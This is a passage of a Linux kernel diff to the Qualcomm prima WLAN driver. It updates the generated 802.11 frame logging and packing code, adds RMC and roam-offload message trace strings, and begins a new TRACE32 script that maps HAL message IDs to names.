(1): %d\n"), pFrm->ExtCap.diagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("multiDiagnostics (1): %d\n"), pFrm->ExtCap.multiDiagnostics); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("locTracking (1): %d\n"), pFrm->ExtCap.locTracking); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("FMS (1): %d\n"), pFrm->ExtCap.FMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("proxyARPService (1): %d\n"), pFrm->ExtCap.proxyARPService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("coLocIntfReporting (1): %d\n"), pFrm->ExtCap.coLocIntfReporting); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("civicLoc (1): %d\n"), pFrm->ExtCap.civicLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("geospatialLoc (1): %d\n"), pFrm->ExtCap.geospatialLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TFS (1): %d\n"), pFrm->ExtCap.TFS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("wnmSleepMode (1): %d\n"), pFrm->ExtCap.wnmSleepMode); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("timBroadcast (1): %d\n"), pFrm->ExtCap.timBroadcast); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("bssTransition (1): %d\n"), pFrm->ExtCap.bssTransition); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("qosTrafficCap (1): %d\n"), pFrm->ExtCap.qosTrafficCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("acStaCnt (1): %d\n"), pFrm->ExtCap.acStaCnt); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("multiBSSID (1): %d\n"), pFrm->ExtCap.multiBSSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("timingMeas (1): %d\n"), pFrm->ExtCap.timingMeas); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("chanUsage (1): %d\n"), pFrm->ExtCap.chanUsage); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("ssidList (1): %d\n"), pFrm->ExtCap.ssidList); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("DMS (1): %d\n"), pFrm->ExtCap.DMS); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("UTCTSFOffset (1): %d\n"), pFrm->ExtCap.UTCTSFOffset); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSPeerUAPSDBufferSTA (1): %d\n"), pFrm->ExtCap.TDLSPeerUAPSDBufferSTA); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSPeerPSMSupp (1): %d\n"), pFrm->ExtCap.TDLSPeerPSMSupp); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSChannelSwitching (1): %d\n"), pFrm->ExtCap.TDLSChannelSwitching); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("interworkingService (1): %d\n"), pFrm->ExtCap.interworkingService); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("qosMap (1): %d\n"), pFrm->ExtCap.qosMap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("EBR (1): %d\n"), pFrm->ExtCap.EBR); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("sspnInterface (1): %d\n"), pFrm->ExtCap.sspnInterface); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved4 (1): %d\n"), pFrm->ExtCap.reserved4); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("msgCFCap (1): %d\n"), pFrm->ExtCap.msgCFCap); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSSupport (1): %d\n"), pFrm->ExtCap.TDLSSupport); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSProhibited (1): %d\n"), pFrm->ExtCap.TDLSProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSChanSwitProhibited (1): %d\n"), pFrm->ExtCap.TDLSChanSwitProhibited); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("rejectUnadmittedTraffic (1): %d\n"), pFrm->ExtCap.rejectUnadmittedTraffic); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("serviceIntervalGranularity (3): %d\n"), pFrm->ExtCap.serviceIntervalGranularity); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("identifierLoc (1): %d\n"), pFrm->ExtCap.identifierLoc); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("uapsdCoexistence (1): %d\n"), pFrm->ExtCap.uapsdCoexistence); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("wnmNotification (1): %d\n"), pFrm->ExtCap.wnmNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved5 (1): %d\n"), pFrm->ExtCap.reserved5); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("UTF8SSID (1): %d\n"), pFrm->ExtCap.UTF8SSID); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved6 (12): %d\n"), pFrm->ExtCap.reserved6); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("TDLSWiderBW (1): %d\n"), pFrm->ExtCap.TDLSWiderBW); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("operModeNotification (1): %d\n"), pFrm->ExtCap.operModeNotification); - FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("reserved7 (1): %d\n"), pFrm->ExtCap.reserved7); + FRAMES_LOG1(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("num_bytes: %d.\n"), pFrm->ExtCap.num_bytes); + FRAMES_DUMP(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), ( tANI_U8* ) pFrm->ExtCap.bytes, pFrm->ExtCap.num_bytes); } FRAMES_LOG0(pCtx, FRAMES_SEV_FOR_FRAME(pCtx, DOT11F_TDLSSETUPRSP), FRFL("SuppOperatingClasses:\n")); if (!pFrm->SuppOperatingClasses.present) @@ -45913,6 +44914,9 @@ static tANI_U32 PackCore(tpAniSirGlobal pCtx, case SigFfListenInterval: dot11fPackFfListenInterval(pCtx, (tDot11fFfListenInterval* )(pSrc + pFf->offset), pBufRemaining); break; + case SigFfMagicCode: + dot11fPackFfMagicCode(pCtx, (tDot11fFfMagicCode* )(pSrc + pFf->offset), pBufRemaining); + break; case SigFfMaxTxPower: dot11fPackFfMaxTxPower(pCtx, (tDot11fFfMaxTxPower* )(pSrc + pFf->offset), pBufRemaining); break; @@ -45931,12 +44935,24 @@ static tANI_U32 PackCore(tpAniSirGlobal pCtx, case SigFfRCPI: dot11fPackFfRCPI(pCtx, (tDot11fFfRCPI* )(pSrc + pFf->offset), pBufRemaining); break; + case SigFfRMCDialogToken: + dot11fPackFfRMCDialogToken(pCtx, (tDot11fFfRMCDialogToken* )(pSrc + pFf->offset), pBufRemaining); + break; + case SigFfRMCOUI: + dot11fPackFfRMCOUI(pCtx, (tDot11fFfRMCOUI* )(pSrc + pFf->offset), pBufRemaining); + break; + case SigFfRMCVersion: + dot11fPackFfRMCVersion(pCtx, (tDot11fFfRMCVersion* )(pSrc + pFf->offset), pBufRemaining); + break; case SigFfRSNI: dot11fPackFfRSNI(pCtx, (tDot11fFfRSNI* )(pSrc + pFf->offset), pBufRemaining); break; case SigFfReason: dot11fPackFfReason(pCtx, (tDot11fFfReason* )(pSrc + pFf->offset), pBufRemaining); break; + case SigFfRuler: + dot11fPackFfRuler(pCtx, (tDot11fFfRuler* )(pSrc + pFf->offset), pBufRemaining); + break; case SigFfRxAntennaId: dot11fPackFfRxAntennaId(pCtx, (tDot11fFfRxAntennaId* )(pSrc + pFf->offset), pBufRemaining); break; diff --git a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/macTrace.c b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/macTrace.c index 0003a526f7b45..12a8a6b5a40e9 100644 --- a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/macTrace.c +++ b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/macTrace.c @@ -1,5 +1,5 @@ /* - * Copyright (c) 2012-2015 The Linux Foundation. All rights reserved. + * Copyright (c) 2012-2016 The Linux Foundation. All rights reserved. * * Previously licensed under the ISC license by Qualcomm Atheros, Inc. * @@ -550,6 +550,11 @@ tANI_U8* macTraceGetSmeMsgString( tANI_U16 smeMsg ) #endif CASE_RETURN_STRING(eWNI_SME_CANDIDATE_FOUND_IND); CASE_RETURN_STRING(eWNI_SME_HANDOFF_REQ); +#ifdef WLAN_FEATURE_RMC + CASE_RETURN_STRING(eWNI_SME_ENABLE_RMC_REQ); + CASE_RETURN_STRING(eWNI_SME_DISABLE_RMC_REQ); + CASE_RETURN_STRING(eWNI_SME_IBSS_PEER_INFO_RSP); +#endif CASE_RETURN_STRING(eWNI_SME_GET_ROAM_RSSI_REQ); CASE_RETURN_STRING(eWNI_SME_GET_ROAM_RSSI_RSP); CASE_RETURN_STRING(eWNI_SME_GET_TSM_STATS_REQ); @@ -804,6 +809,10 @@ tANI_U8* macTraceGetWdaMsgString( tANI_U16 wdaMsg ) #ifdef WLAN_FEATURE_ROAM_SCAN_OFFLOAD CASE_RETURN_STRING(WDA_ROAM_SCAN_OFFLOAD_REQ); CASE_RETURN_STRING(WDA_ROAM_SCAN_OFFLOAD_RSP); + CASE_RETURN_STRING(WDA_PER_ROAM_SCAN_OFFLOAD_REQ); + CASE_RETURN_STRING(WDA_PER_ROAM_SCAN_OFFLOAD_RSP); + CASE_RETURN_STRING(WDA_PER_ROAM_SCAN_TRIGGER_REQ); + CASE_RETURN_STRING(WDA_PER_ROAM_SCAN_TRIGGER_RSP); #endif #ifdef WLAN_WAKEUP_EVENTS CASE_RETURN_STRING(WDA_WAKE_REASON_IND); @@ -838,6 +847,13 @@ tANI_U8* macTraceGetWdaMsgString( tANI_U16 wdaMsg ) #ifdef FEATURE_WLAN_LPHB CASE_RETURN_STRING(WDA_LPHB_WAIT_EXPIRE_IND); #endif +#ifdef WLAN_FEATURE_RMC + CASE_RETURN_STRING(WDA_RMC_BECOME_RULER); + CASE_RETURN_STRING(WDA_RMC_RULER_SELECT_RESP); + CASE_RETURN_STRING(WDA_RMC_RULER_REQ); + CASE_RETURN_STRING(WDA_RMC_UPDATE_IND); + CASE_RETURN_STRING(WDA_GET_IBSS_PEER_INFO_RSP); +#endif #ifdef FEATURE_WLAN_BATCH_SCAN CASE_RETURN_STRING(WDA_SET_BATCH_SCAN_REQ); CASE_RETURN_STRING(WDA_SET_BATCH_SCAN_RSP); @@ -855,6 +871,10 @@ tANI_U8* macTraceGetWdaMsgString( tANI_U16 wdaMsg ) CASE_RETURN_STRING(WDA_ADD_PERIODIC_TX_PTRN_IND); CASE_RETURN_STRING(WDA_DEL_PERIODIC_TX_PTRN_IND); CASE_RETURN_STRING(WDA_RATE_UPDATE_IND); +#ifdef WLAN_FEATURE_RMC + CASE_RETURN_STRING(WDA_GET_IBSS_PEER_INFO_REQ); + CASE_RETURN_STRING(WDA_TX_FAIL_MONITOR_IND); +#endif /* WLAN_FEATURE_RMC */ #ifdef WLAN_FEATURE_LINK_LAYER_STATS CASE_RETURN_STRING(WDA_LINK_LAYER_STATS_SET_REQ); CASE_RETURN_STRING(WDA_LINK_LAYER_STATS_GET_REQ); @@ -866,9 +886,8 @@ tANI_U8* macTraceGetWdaMsgString( tANI_U16 wdaMsg ) CASE_RETURN_STRING(WDA_EXTSCAN_STOP_REQ); CASE_RETURN_STRING(WDA_EXTSCAN_SET_BSSID_HOTLIST_REQ); CASE_RETURN_STRING(WDA_EXTSCAN_RESET_BSSID_HOTLIST_REQ); - CASE_RETURN_STRING(WDA_EXTSCAN_SET_SIGNF_RSSI_CHANGE_REQ); - CASE_RETURN_STRING(WDA_EXTSCAN_RESET_SIGNF_RSSI_CHANGE_REQ); CASE_RETURN_STRING(WDA_EXTSCAN_GET_CACHED_RESULTS_REQ); + CASE_RETURN_STRING(WDA_HIGH_PRIORITY_DATA_INFO_IND); #endif /* WLAN_FEATURE_EXTSCAN */ CASE_RETURN_STRING(WDA_HT40_OBSS_SCAN_IND); CASE_RETURN_STRING(WDA_HT40_OBSS_STOP_SCAN_IND); diff --git a/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parsemactrace.cmm b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parsemactrace.cmm new file mode 100644 index 0000000000000..82ec953ee16f7 --- /dev/null +++ b/drivers/staging/prima/CORE/SYS/legacy/src/utils/src/parsemactrace.cmm @@ -0,0 +1,973 @@ +;Copyright (c) 2013-2016 The Linux Foundation. All rights reserved. + +;Previously licensed under the ISC license by Qualcomm Atheros, Inc. + +;Permission to use, copy, modify, and/or distribute this software for +;any purpose with or without fee is hereby granted, provided that the +;above copyright notice and this permission notice appear in all +;copies. + +;THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL +;WARRANTIES WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED +;WARRANTIES OF MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE +;AUTHOR BE LIABLE FOR ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL +;DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR +;PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE OR OTHER +;TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR +;PERFORMANCE OF THIS SOFTWARE. + +;This file was originally distributed by Qualcomm Atheros, Inc. +;under proprietary terms before Copyright ownership was assigned +;to the Linux Foundation. + +;parsemactrace.cmm - This script parses MAC trace table in UMAC layer +;This script relies on message id's placed in interface header file. +;If some message ID's are changed later, since they do not use enum, this script +;might show incorrect data. So message ID's should always be in sync +;Author: Saluja, Harpreet +;Date: 09/09/2013 +;History:- +;Date Modified by Modification Information +;-------------------------------------------------------------------- + + +ENTRY &FILE + +IF "&FILE"=="" +( +DIALOG.file *.txt +ENTRY &FILE +) + +OPEN #1 "&FILE" /Create /Write /Append + + +Var.NEW char [256][50] \halmsgtype + +Var.SET \halmsgtype[0x20]="SIR_HAL_RADAR_DETECTED_IND" +Var.SET \halmsgtype[0x21]="SIR_HAL_WDT_KAM_RSP" +Var.SET \halmsgtype[0x22]="SIR_HAL_TIMER_TEMP_MEAS_REQ" +Var.SET \halmsgtype[0x23]="SIR_HAL_TIMER_PERIODIC_STATS_COLLECT_REQ" +Var.SET \halmsgtype[0x24]="SIR_HAL_CAL_REQ_NTF" +Var.SET \halmsgtype[0x25]="SIR_HAL_MNT_OPEN_TPC_TEMP_MEAS_REQ" +Var.SET \halmsgtype[0x26]="SIR_HAL_CCA_MONITOR_INTERVAL_TO" +Var.SET \halmsgtype[0x27]="SIR_HAL_CCA_MONITOR_DURATION_TO" +Var.SET \halmsgtype[0x28]="SIR_HAL_CCA_MONITOR_START" +Var.SET \halmsgtype[0x29]="SIR_HAL_CCA_MONITOR_STOP" +Var.SET \halmsgtype[0x2A]="SIR_HAL_CCA_CHANGE_MODE" +Var.SET \halmsgtype[0x2B]="SIR_HAL_TIMER_WRAP_AROUND_STATS_COLLECT_REQ" +Var.SET \halmsgtype[0x2D]="SIR_HAL_ADD_STA_REQ" +Var.SET \halmsgtype[0x2E]="SIR_HAL_ADD_STA_RSP" +Var.SET \halmsgtype[0x2F]="SIR_HAL_DELETE_STA_REQ" +Var.SET \halmsgtype[0x30]="SIR_HAL_DELETE_STA_RSP" +Var.SET \halmsgtype[0x31]="SIR_HAL_ADD_BSS_REQ" +Var.SET \halmsgtype[0x32]="SIR_HAL_ADD_BSS_RSP" +Var.SET \halmsgtype[0x33]="SIR_HAL_DELETE_BSS_REQ" +Var.SET \halmsgtype[0x34]="SIR_HAL_DELETE_BSS_RSP" +Var.SET \halmsgtype[0x35]="SIR_HAL_INIT_SCAN_REQ" +Var.SET \halmsgtype[0x36]="SIR_HAL_INIT_SCAN_RSP" +Var.SET \halmsgtype[0x37]="SIR_HAL_START_SCAN_REQ" +Var.SET \halmsgtype[0x38]="SIR_HAL_START_SCAN_RSP" +Var.SET \halmsgtype[0x39]="SIR_HAL_END_SCAN_REQ" +Var.SET \halmsgtype[0x3A]="SIR_HAL_END_SCAN_RSP" +Var.SET \halmsgtype[0x3B]="SIR_HAL_FINISH_SCAN_REQ" +Var.SET \halmsgtype[0x3C]="SIR_HAL_FINISH_SCAN_RSP" +Var.SET \halmsgtype[0x3D]="SIR_HAL_SEND_BEACON_REQ" +Var.SET \halmsgtype[0x3E]="SIR_HAL_SEND_BEACON_RSP" +Var.SET \halmsgtype[0x3F]="SIR_HAL_INIT_CFG_REQ" +Var.SET \halmsgtype[0x40]="SIR_HAL_INIT_CFG_RSP" +Var.SET \halmsgtype[0x41]="SIR_HAL_INIT_WM_CFG_REQ" +Var.SET \halmsgtype[0x42]="SIR_HAL_INIT_WM_CFG_RSP" +Var.SET \halmsgtype[0x43]="SIR_HAL_SET_BSSKEY_REQ" +Var.SET \halmsgtype[0x44]="SIR_HAL_SET_BSSKEY_RSP" +Var.SET \halmsgtype[0x45]="SIR_HAL_SET_STAKEY_REQ" +Var.SET \halmsgtype[0x46]="SIR_HAL_SET_STAKEY_RSP" +Var.SET \halmsgtype[0x47]="SIR_HAL_DPU_STATS_REQ" +Var.SET \halmsgtype[0x48]="SIR_HAL_DPU_STATS_RSP" +Var.SET \halmsgtype[0x49]="SIR_HAL_GET_DPUINFO_REQ" +Var.SET \halmsgtype[0x4A]="SIR_HAL_GET_DPUINFO_RSP" +Var.SET \halmsgtype[0x4B]="SIR_HAL_UPDATE_EDCA_PROFILE_IND" +Var.SET \halmsgtype[0x4D]="SIR_HAL_UPDATE_STARATEINFO_REQ" +Var.SET \halmsgtype[0x4E]="SIR_HAL_UPDATE_STARATEINFO_RSP" +Var.SET \halmsgtype[0x4F]="SIR_HAL_UPDATE_BEACON_IND" +Var.SET \halmsgtype[0x50]="SIR_HAL_UPDATE_CF_IND" +Var.SET \halmsgtype[0x51]="SIR_HAL_CHNL_SWITCH_REQ" +Var.SET \halmsgtype[0x52]="SIR_HAL_ADD_TS_REQ" +Var.SET \halmsgtype[0x53]="SIR_HAL_DEL_TS_REQ" +Var.SET \halmsgtype[0x54]="SIR_HAL_SOFTMAC_TXSTAT_REPORT" +Var.SET \halmsgtype[0x5D]="SIR_HAL_MBOX_SENDMSG_COMPLETE_IND" +Var.SET \halmsgtype[0x55]="SIR_HAL_EXIT_BMPS_REQ" +Var.SET \halmsgtype[0x56]="SIR_HAL_EXIT_BMPS_RSP" +Var.SET \halmsgtype[0x57]="SIR_HAL_EXIT_BMPS_IND" +Var.SET \halmsgtype[0x58]="SIR_HAL_ENTER_BMPS_REQ" +Var.SET \halmsgtype[0x59]="SIR_HAL_ENTER_BMPS_RSP" +Var.SET \halmsgtype[0x5A]="SIR_HAL_BMPS_STATUS_IND" +Var.SET \halmsgtype[0x5B]="SIR_HAL_MISSED_BEACON_IND" +Var.SET \halmsgtype[0x5C]="SIR_HAL_SWITCH_CHANNEL_RSP" +Var.SET \halmsgtype[0x5E]="SIR_HAL_PWR_SAVE_CFG" +Var.SET \halmsgtype[0x5F]="SIR_HAL_REGISTER_PE_CALLBACK" +Var.SET \halmsgtype[0x60]="SIR_HAL_SOFTMAC_MEM_READREQUEST" +Var.SET \halmsgtype[0x61]="SIR_HAL_SOFTMAC_MEM_WRITEREQUEST" +Var.SET \halmsgtype[0x62]="SIR_HAL_SOFTMAC_MEM_READRESPONSE" +Var.SET \halmsgtype[0x63]="SIR_HAL_SOFTMAC_BULKREGWRITE_CONFIRM" +Var.SET \halmsgtype[0x64]="SIR_HAL_SOFTMAC_BULKREGREAD_RESPONSE" +Var.SET \halmsgtype[0x65]="SIR_HAL_SOFTMAC_HOSTMESG_MSGPROCESSRESULT" +Var.SET \halmsgtype[0x66]="SIR_HAL_ADDBA_REQ" +Var.SET \halmsgtype[0x67]="SIR_HAL_ADDBA_RSP" +Var.SET \halmsgtype[0x68]="SIR_HAL_DELBA_IND" +Var.SET \halmsgtype[0x69]="SIR_HAL_DEL_BA_IND" +Var.SET \halmsgtype[0x6A]="SIR_HAL_DELBA_REQ" +Var.SET \halmsgtype[0x6B]="SIR_HAL_IBSS_STA_ADD" +Var.SET \halmsgtype[0x6C]="SIR_HAL_TIMER_ADJUST_ADAPTIVE_THRESHOLD_IND" +Var.SET \halmsgtype[0x6D]="SIR_HAL_SET_LINK_STATE" +Var.SET \halmsgtype[0x6E]="SIR_HAL_ENTER_IMPS_REQ" +Var.SET \halmsgtype[0x6F]="SIR_HAL_ENTER_IMPS_RSP" +Var.SET \halmsgtype[0x70]="SIR_HAL_EXIT_IMPS_RSP" +Var.SET \halmsgtype[0x71]="SIR_HAL_EXIT_IMPS_REQ" +Var.SET \halmsgtype[0x72]="SIR_HAL_SOFTMAC_HOSTMESG_PS_STATUS_IND" +Var.SET \halmsgtype[0x73]="SIR_HAL_POSTPONE_ENTER_IMPS_RSP" +Var.SET \halmsgtype[0x74]="SIR_HAL_STA_STAT_REQ" +Var.SET \halmsgtype[0x75]="SIR_HAL_GLOBAL_STAT_REQ" +Var.SET \halmsgtype[0x76]="SIR_HAL_AGGR_STAT_REQ" +Var.SET \halmsgtype[0x77]="SIR_HAL_STA_STAT_RSP" +Var.SET \halmsgtype[0x78]="SIR_HAL_GLOBAL_STAT_RSP" +Var.SET \halmsgtype[0x79]="SIR_HAL_AGGR_STAT_RSP" +Var.SET \halmsgtype[0x7A]="SIR_HAL_STAT_SUMM_REQ" +Var.SET \halmsgtype[0x7C]="SIR_HAL_STAT_SUMM_RSP" +Var.SET \halmsgtype[0x7D]="SIR_HAL_REMOVE_BSSKEY_REQ" +Var.SET \halmsgtype[0x7E]="SIR_HAL_REMOVE_BSSKEY_RSP" +Var.SET \halmsgtype[0x7F]="SIR_HAL_REMOVE_STAKEY_REQ" +Var.SET \halmsgtype[0x80]="SIR_HAL_REMOVE_STAKEY_RSP" +Var.SET \halmsgtype[0x81]="SIR_HAL_SET_STA_BCASTKEY_REQ" +Var.SET \halmsgtype[0x82]="SIR_HAL_SET_STA_BCASTKEY_RSP" +Var.SET \halmsgtype[0x83]="SIR_HAL_REMOVE_STA_BCASTKEY_REQ" +Var.SET \halmsgtype[0x84]="SIR_HAL_REMOVE_STA_BCASTKEY_RSP" +Var.SET \halmsgtype[0x85]="SIR_HAL_ADD_TS_RSP" +Var.SET \halmsgtype[0x86]="SIR_HAL_DPU_MIC_ERROR" +Var.SET \halmsgtype[0x87]="SIR_HAL_TIMER_BA_ACTIVITY_REQ" +Var.SET \halmsgtype[0x88]="SIR_HAL_TIMER_CHIP_MONITOR_TIMEOUT" +Var.SET \halmsgtype[0x89]="SIR_HAL_TIMER_TRAFFIC_ACTIVITY_REQ" +Var.SET \halmsgtype[0x8A]="SIR_HAL_TIMER_ADC_RSSI_STATS" +Var.SET \halmsgtype[0x8B]="SIR_HAL_MIC_FAILURE_IND" +Var.SET \halmsgtype[0x8C]="SIR_HAL_UPDATE_UAPSD_IND" +Var.SET \halmsgtype[0x8D]="SIR_HAL_SET_MIMOPS_REQ" +Var.SET \halmsgtype[0x8E]="SIR_HAL_SET_MIMOPS_RSP" +Var.SET \halmsgtype[0x8F]="SIR_HAL_SYS_READY_IND" +Var.SET \halmsgtype[0x90]="SIR_HAL_SET_TX_POWER_REQ" +Var.SET \halmsgtype[0x91]="SIR_HAL_SET_TX_POWER_RSP" +Var.SET \halmsgtype[0x92]="SIR_HAL_GET_TX_POWER_REQ" +Var.SET \halmsgtype[0x93]="SIR_HAL_GET_TX_POWER_RSP" +Var.SET \halmsgtype[0x94]="SIR_HAL_GET_NOISE_REQ" +Var.SET \halmsgtype[0x95]="SIR_HAL_GET_NOISE_RSP" +Var.SET \halmsgtype[0x96]="SIR_HAL_TRANSMISSION_CONTROL_IND" +Var.SET \halmsgtype[0x97]="SIR_HAL_INIT_RADAR_IND" +Var.SET \halmsgtype[0x98]="SIR_HAL_BEACON_PRE_IND" +Var.SET \halmsgtype[0x99]="SIR_HAL_ENTER_UAPSD_REQ" +Var.SET \halmsgtype[0x9A]="SIR_HAL_ENTER_UAPSD_RSP" +Var.SET \halmsgtype[0x9B]="SIR_HAL_EXIT_UAPSD_REQ" +Var.SET \halmsgtype[0x9C]="SIR_HAL_EXIT_UAPSD_RSP" +Var.SET \halmsgtype[0x9D]="SIR_HAL_LOW_RSSI_IND" +Var.SET \halmsgtype[0x9E]="SIR_HAL_BEACON_FILTER_IND" +Var.SET \halmsgtype[0x9F]="SIR_HAL_WOWL_ADD_BCAST_PTRN" +Var.SET \halmsgtype[0xA0]="SIR_HAL_WOWL_DEL_BCAST_PTRN" +Var.SET \halmsgtype[0xA1]="SIR_HAL_WOWL_ENTER_REQ" +Var.SET \halmsgtype[0xA2]="SIR_HAL_WOWL_ENTER_RSP" +Var.SET \halmsgtype[0xA3]="SIR_HAL_WOWL_EXIT_REQ" +Var.SET \halmsgtype[0xA4]="SIR_HAL_WOWL_EXIT_RSP" +Var.SET \halmsgtype[0xA5]="SIR_HAL_TX_COMPLETE_IND" +Var.SET \halmsgtype[0xA6]="SIR_HAL_TIMER_RA_COLLECT_AND_ADAPT" +Var.SET \halmsgtype[0xA7]="SIR_HAL_GET_STATISTICS_REQ" +Var.SET \halmsgtype[0xA8]="SIR_HAL_GET_STATISTICS_RSP" +Var.SET \halmsgtype[0xA9]="SIR_HAL_SET_KEY_DONE" +Var.SET \halmsgtype[0xAA]="SIR_HAL_BTC_SET_CFG" +Var.SET \halmsgtype[0xAB]="SIR_HAL_SIGNAL_BT_EVENT" +Var.SET \halmsgtype[0xAC]="SIR_HAL_HANDLE_FW_MBOX_RSP" +Var.SET \halmsgtype[0xAD]="SIR_HAL_UPDATE_PROBE_RSP_TEMPLATE_IND" +Var.SET \halmsgtype[0xAE]="SIR_LIM_ADDR2_MISS_IND" +Var.SET \halmsgtype[0xAF]="SIR_HAL_START_OEM_DATA_REQ" +Var.SET \halmsgtype[0xB0]="SIR_HAL_START_OEM_DATA_RSP" +Var.SET \halmsgtype[0xB1]="SIR_HAL_FINISH_OEM_DATA_REQ" +Var.SET \halmsgtype[0xB2]="SIR_HAL_SET_MAX_TX_POWER_REQ" +Var.SET \halmsgtype[0xB3]="SIR_HAL_SET_MAX_TX_POWER_RSP" +Var.SET \halmsgtype[0xB4]="SIR_HAL_SEND_MSG_COMPLETE" +Var.SET \halmsgtype[0xB5]="SIR_HAL_SET_HOST_OFFLOAD" +Var.SET \halmsgtype[0xB6]="SIR_HAL_ADD_STA_SELF_REQ" +Var.SET \halmsgtype[0xB7]="SIR_HAL_ADD_STA_SELF_RSP" +Var.SET \halmsgtype[0xB8]="SIR_HAL_DEL_STA_SELF_REQ" +Var.SET 